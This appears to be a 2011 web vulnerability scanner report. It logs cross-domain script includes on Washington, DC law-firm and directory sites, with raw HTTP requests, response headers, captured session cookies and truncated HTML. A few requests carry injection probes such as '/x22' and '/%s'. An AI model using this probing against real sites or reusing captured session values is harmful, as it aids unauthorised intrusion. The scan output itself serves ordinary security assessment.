HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 17:54:38 GMT P3P: policyref="http://p3p.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE GOV" Cache-Control: private Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 4036
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html><head><title>law offices - Yahoo! Hosted Search Results</title><meta http-equiv="content-typ ...[SNIP]... </div><script src="http://l.yimg.com/a/lib/eu/yhs/iframe_20101028165000.js"></script> ...[SNIP]...
GET / HTTP/1.1 Host: viniciusbraga.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
GET /domainserve/domainView HTTP/1.1 Host: web2.domainmall.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
GET /search?q=cache:3rvRzOiWwe0J:www.dccouncil.washington.dc.us/dcofficialcode+washington,+dc+law&cd=1&hl=en&ct=clnk&gl=us HTTP/1.1 Host: webcache.googleusercontent.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 Cache-Control: private, max-age=0 Date: Wed, 19 Jan 2011 15:26:11 GMT Expires: -1 Server: gws X-XSS-Protection: 1; mode=block Connection: close
GET / HTTP/1.1 Host: www.abelsonlaw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:26:35 GMT Server: Microsoft-IIS/6.0 MicrosoftOfficeWebServer: 5.0_Pub X-Powered-By: ASP.NET Content-Length: 30130 Content-Type: text/html Set-Cookie: ASPSESSIONIDQQRDDQCB=CAAFBMLCGGNECIMMACCGLHLN; path=/ Cache-control: private
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <title>Washington DC Personal Injury Attorneys / Car Crash Lawyers, Fatal Auto A ...[SNIP]... <body onload="load()" onunload="GUnload()">
GET /bookmark.php HTTP/1.1 Host: www.addthis.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 15:26:37 GMT Server: Apache X-Powered-By: PHP/5.2.13 Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Set-Cookie: Coyote-2-a0f0083=a0f022f:0; path=/ Content-Length: 92372
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>AddThis Social Bookm ...[SNIP]... </style> <script type="text/javascript" src="//cache.addthiscdn.com/www/q0197/js/bookmark.js"></script> ...[SNIP]...
GET /reversephonelookup HTTP/1.1 Host: www.anywho.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.6.39 Date: Wed, 19 Jan 2011 16:58:41 GMT Content-Type: text/html; charset=utf-8 Connection: close Status: 200 OK ETag: "80f500d8337904d604bb4d66204a4aa0" X-Rack-Cache: fresh X-Content-Digest: 73e9ccf3d8910bc08e6089ebbc03e133df9fa629 X-Runtime: 578 Content-Length: 23674 Set-Cookie: Cache-Control: max-age=300, public Age: 118 X-Worker: 8
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html><!-- #BeginTemplate "/Templates/standard_page.dwt" --> <head> <!-- /reversephonelookup/ -->
GET /whitepages HTTP/1.1 Host: www.anywho.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.6.39 Date: Wed, 19 Jan 2011 16:58:41 GMT Content-Type: text/html; charset=utf-8 Connection: close Status: 200 OK ETag: "51fc7f037d07d79859bdc7f477eadc55" X-Rack-Cache: fresh X-Content-Digest: 51bf61001e6930d8d810db982f9b682a2b912d2d X-Runtime: 722 Content-Length: 25614 Set-Cookie: Cache-Control: max-age=300, public Age: 235 X-Worker: 8
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html><!-- #BeginTemplate "/Templates/standard_page.dwt" --> <head> <!-- /whitepages/ -->
The response dynamically includes the following script from another domain:
http://www.statcounter.com/counter/counter.js
Request
GET / HTTP/1.1 Host: www.ashcraftandgerel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Wed, 19 Jan 2011 15:28:07 GMT Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8i PHP/5.2.9 X-Powered-By: PHP/5.2.9 Set-Cookie: 31a53605532848d34efd54bd0292cede=bc255bf4797aff3a767238becd7bc8c4; path=/ P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Wed, 19 Jan 2011 15:28:07 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" dir= ...[SNIP]... </script>
The response dynamically includes the following script from another domain:
http://www.google-analytics.com/urchin.js
Request
GET /gen/privacy-policy?pid=2587 HTTP/1.1 Host: www.att.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: IBM_HTTP_Server Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT P3P: policyref="http://www.att.com/w3c/p3p.xml",CP="CAO DSP COR LAW CURa ADMa DEVa TAIa PSAa PSDa IVAo IVDo CONo TELo OUR OTRi IND PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE GOV" Content-Type: text/html;charset=ISO-8859-1 Content-Language: en-US Date: Wed, 19 Jan 2011 16:56:26 GMT Content-Length: 14792 Connection: close Set-Cookie: JSID_coredisp=0000lkjVyoSYYR6G41qcBcCeBKC:14cq1kt38; Path=/
<!-- GTM CORE Display String -->
<!-- -->
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-trans ...[SNIP]... <!-- START CONTENT AREA -->
GET / HTTP/1.1 Host: www.childrenslawcenter.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 15:08:10 GMT Server: Apache/2.2.3 (Red Hat) X-Powered-By: PHP/5.1.6 Set-Cookie: SESS2e53cd66881dc1b0eb8079878b7a4286=7h750c8v714umuj2jedt5gf3l1; expires=Fri, 11 Feb 2011 18:41:30 GMT; path=/; domain=.childrenslawcenter.org Last-Modified: Wed, 19 Jan 2011 15:05:50 GMT ETag: "617a2f897d287fe1b6cb50ae2b1a53e6" Expires: Sun, 19 Nov 1978 05:00:00 GMT Cache-Control: must-revalidate Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 29782
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lang="en" dir="ltr"> <head> <meta ...[SNIP]... </a><script type="text/javascript" src="http://s7.addthis.com/js/250/ addthis_widget.js?pub=xa-4aae4e9b2e78c9ed"></script> ...[SNIP]...
The response dynamically includes the following script from another domain:
http://www.google-analytics.com/urchin.js
Request
GET /Global/Search.aspx HTTP/1.1 Host: www.crowell.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=70017346.1295449735.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=70017346.16201182.1295449735.1295449735.1295449735.1; __utmc=70017346; __utmb=70017346.1.10.1295449735; ASP.NET_SessionId=l4kde1moofjoay55nfsxex55;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:43:26 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 14981
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
GET /USA/Justice/2011/0118/Supreme-Court-declines-appeal-of-D.C.-gay-marriage-law HTTP/1.1 Host: www.csmonitor.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache/2.2.12 (Ubuntu) Content-Length: 80578 Content-Type: text/html; charset=utf-8 X-Powered-By: eZ Publish Content-Language: en-US Served-by: Pragma: Cache-Control: max-age=2959 Expires: Wed, 19 Jan 2011 16:37:01 GMT Date: Wed, 19 Jan 2011 15:47:42 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head>
GET /chamber/memberDetail.asp HTTP/1.1 Host: www.dcchamber.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 404 Not Found Date: Wed, 19 Jan 2011 15:47:49 GMT Server: Apache/2.0.63 (Red Hat) Set-Cookie: PHPSESSID=r9mt7q2l6q33qih8ijabts6j75; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>DC Chamber of Commer ...[SNIP]... </script>
GET /dcofficialcode HTTP/1.1 Host: www.dccouncil.washington.dc.us Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:47:52 GMT Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.0 Cache-Control: private X-AspNet-Version: 2.0.50727 Set-Cookie: ASP.NET_SessionId=goxvvj3a2ltzid45pmurwfa0; path=/; HttpOnly X-Powered-By: ASP.NET Content-Length: 186933
GET / HTTP/1.1 Host: www.directstartv.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The response dynamically includes the following script from another domain:
http://www.ccc-law.com/script.js
Request
GET / HTTP/1.1 Host: www.dwi-law.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 15:48:18 GMT Server: Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/1.0.0a DAV/2 mod_fcgid/2.3.5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Accept-Ranges: bytes Connection: close Content-Type: text/html Content-Length: 17938
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <title>Maryland Attorneys | DUI / DWI, Criminal Defense & Auto Accident Lawyers | Traffic Violation & Personal In ...[SNIP]... <meta name="msvalidate.01" content="01C7E889A5610CC07EB41DA16E4DF814" >
<link rel="stylesheet" type="text/css" href="/includes/ho ...[SNIP]... <!------------------USE TO DOWNLOAD GOOGLE DO NOT REMOVE----------------------------> <script src="http://www.google-analytics.com/urchin.js" type="text/javascript"> </script> ...[SNIP]... <!------------------------------Google Analytics------------------------------------------------------>
GET /showoffice.aspx?Show=542 HTTP/1.1 Host: www.ebglaw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:48:26 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 1.1.4322 Pragma: no-cache Set-Cookie: ASP.NET_SessionId=uhd35155lvi11l45rc200ezs; path=/ Cache-Control: no-cache Pragma: no-cache Expires: -1 Content-Type: text/html; charset=utf-8 Content-Length: 63652
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US"> <head pro ...[SNIP]... </script>
GET /%s HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Cache-Control: private, no-cache, no-store, must-revalidate Expires: Sat, 01 Jan 2000 00:00:00 GMT P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p" Pragma: no-cache Set-Cookie: datr=ygc3TU5VL1Ox0oSEuJwWmcZ4; expires=Fri, 18-Jan-2013 15:48:26 GMT; path=/; domain=.facebook.com; httponly Set-Cookie: lsd=B8uaT; path=/; domain=.facebook.com Content-Type: text/html; charset=utf-8 Connection: close Date: Wed, 19 Jan 2011 15:48:26 GMT Content-Length: 11541
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" id="facebook" class= ...[SNIP]... <link type="text/css" rel="stylesheet" href="http://static.ak.fbcdn.net/rsrc.php/yk/r/RHTMXKsQP2i.css" />
The response dynamically includes the following script from another domain:
http://www.google-analytics.com/ga.js
Request
GET / HTTP/1.1 Host: www.filamentgroup.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The response dynamically includes the following scripts from other domains:
http://digg.com/tools/diggthis.js
http://www.google-analytics.com/ga.js
Request
GET /lab/retaining_scalable_interfaces_with_pixel_to_em_conversion/ HTTP/1.1 Host: www.filamentgroup.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
GET /photos/darkstream/ HTTP/1.1 Host: www.flickr.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 16:56:53 GMT P3P: policyref="http://p3p.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE GOV" Set-Cookie: BX=196k7md6je5ul&b=3&s=9b; expires=Tue, 02-Jun-2037 20:00:00 GMT; path=/; domain=.flickr.com Set-Cookie: localization=en-us%3Bus%3Bus; expires=Sat, 18-Jan-2014 16:56:53 GMT; path=/; domain=.flickr.com Set-Cookie: cookie_l10n=deleted; expires=Tue, 19-Jan-2010 16:56:52 GMT; path=/; domain=flickr.com Set-Cookie: cookie_intl=deleted; expires=Tue, 19-Jan-2010 16:56:52 GMT; path=/; domain=flickr.com X-Served-By: www62.flickr.mud.yahoo.com Cache-Control: private Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 38404
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
GET /photos/plutor/1818329845/ HTTP/1.1 Host: www.flickr.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 16:56:52 GMT P3P: policyref="http://p3p.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE GOV" Set-Cookie: BX=88enasd6je5uk&b=3&s=sa; expires=Tue, 02-Jun-2037 20:00:00 GMT; path=/; domain=.flickr.com Set-Cookie: localization=en-us%3Bus%3Bus; expires=Sat, 18-Jan-2014 16:56:52 GMT; path=/; domain=.flickr.com Set-Cookie: cookie_l10n=deleted; expires=Tue, 19-Jan-2010 16:56:51 GMT; path=/; domain=flickr.com Set-Cookie: cookie_intl=deleted; expires=Tue, 19-Jan-2010 16:56:51 GMT; path=/; domain=flickr.com Set-Cookie: fldetectedlang=en-us; expires=Sun, 20-Mar-2011 16:56:52 GMT; path=/; domain=.flickr.com X-Served-By: www152.flickr.mud.yahoo.com Cache-Control: private Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 107913
The response dynamically includes the following scripts from other domains:
http://edge.quantserve.com/quant.js
http://www.google-analytics.com/urchin.js
Request
GET / HTTP/1.1 Host: www.hagenhosting.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 15:57:32 GMT Server: Apache/2.2.4 (Unix) Accept-Ranges: bytes Connection: close Content-Type: text/html Content-Length: 44868
GET / HTTP/1.1 Host: www.hldataprotection.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 15:57:48 GMT Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch Last-Modified: Sat, 15 Jan 2011 19:01:22 GMT Accept-Ranges: bytes Vary: Accept-Encoding Connection: close Content-Type: text/html Set-Cookie: SERVERID=i-3f76e457; path=/ Cache-control: private Content-Length: 69980
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta ht ...[SNIP]... </script>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head><meta name="description" content="Hogan Lovells is a law firm that sees the whole picture an ...[SNIP]... </script> <script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js"></script> ...[SNIP]... </form> <script type="text/javascript" src="http://s3.amazonaws.com/new.cetrk.com/pages/scripts/0009/8877.js"> </script> ...[SNIP]...
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head><meta name="description" content="Hogan Lovells is advising Citi Infrastructure Investors, o ...[SNIP]... </script> <script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js"></script> ...[SNIP]... </form> <script type="text/javascript" src="http://s3.amazonaws.com/new.cetrk.com/pages/scripts/0009/8877.js"> </script> ...[SNIP]...
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>
GET /washington%20dc%20law%20firms HTTP/1.1 Host: www.info.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
GET / HTTP/1.1 Host: www.kasimer-ittig.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The response dynamically includes the following script from another domain:
http://www.google-analytics.com/urchin.js
Request
GET / HTTP/1.1 Host: www.law.georgetown.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 16:51:56 GMT Server: Apache Last-Modified: Tue, 18 Jan 2011 22:01:00 GMT ETag: "23267-2b10-92bd723" Accept-Ranges: bytes Content-Length: 11024 Connection: close Content-Type: text/html; charset=ISO-8859-1
<html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Georgetown University's Law School: Georgetown Law, the center for international legal studies.</title> <meta name="description" content="Geor ...[SNIP]... </div> <script src="http://www.google-analytics.com/urchin.js" type="text/javascript"> </script> ...[SNIP]...
GET /results.aspx HTTP/1.1 Host: www.local.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
GET /results.aspx?keyword=law+offices&CID=2531/x22 HTTP/1.1 Host: www.local.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
GET / HTTP/1.1 Host: www.matneylawfirm.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 16:52:23 GMT Set-Cookie: BX=0ffvtbl6je5m7&b=3&s=d5; expires=Tue, 02-Jun-2037 20:00:00 GMT; path=/; domain=.matneylawfirm.com P3P: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" X-Host: p12w19.geo.re4.yahoo.com X-INKT-URI: http://www.matneylawfirm.com//index.htm X-INKT-SITE: http://www.matneylawfirm.com Last-Modified: Tue, 29 Dec 2009 20:05:56 GMT Accept-Ranges: bytes Content-Length: 33520 Content-Type: text/html Age: 0 Connection: close Server: YTS/1.17.13
GET / HTTP/1.1 Host: www.naegele.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 16:53:02 GMT Set-Cookie: BX=32vpnop6je5ne&b=3&s=6u; expires=Tue, 02-Jun-2037 20:00:00 GMT; path=/; domain=.naegele.com P3P: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" X-Host: p9w5.geo.re4.yahoo.com X-INKT-URI: http://www.naegele.com//index.html X-INKT-SITE: http://www.naegele.com Last-Modified: Wed, 25 Aug 2004 03:33:02 GMT Accept-Ranges: bytes Content-Length: 9139 Content-Type: text/html Age: 0 Connection: close Server: YTS/1.17.13
<HTML> <HEAD> <TITLE>Timothy D. Naegele & Associates: Banking Law and Internet Law</TITLE> <meta name="description" content="Banking law firm in Washington, D.C. and Los Angeles specializing in ba ...[SNIP]... <!-- Counter/Statistics data collection code --><script language="JavaScript" src="http://l.yimg.com/d/lib/smb/js/hosting/cp/js_source/whv2_001.js"></script> ...[SNIP]...
GET /x22 HTTP/1.1 Host: www.nleomf.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Server: Resin/3.1.8 Set-Cookie: JSESSIONID=abc6OjBCNZRj89neCmF2s; path=/ Content-Type: text/html; charset=UTF-8 Date: Wed, 19 Jan 2011 16:53:14 GMT Set-Cookie: NSC_dnt_900_qvc=ffffffff09041e3745525d5f4f58455e445a4a4214f4;expires=Wed, 19-Jan-2011 17:53:14 GMT;path=/;httponly Content-Length: 24112
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head>
The response dynamically includes the following script from another domain:
http://www.google-analytics.com/urchin.js
Request
GET / HTTP/1.1 Host: www.nylontechnology.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 16:53:17 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: CFID=1808548;expires=Fri, 11-Jan-2041 16:53:17 GMT;path=/ Set-Cookie: CFTOKEN=22611239;expires=Fri, 11-Jan-2041 16:53:17 GMT;path=/ Content-Type: text/html; charset=UTF-8
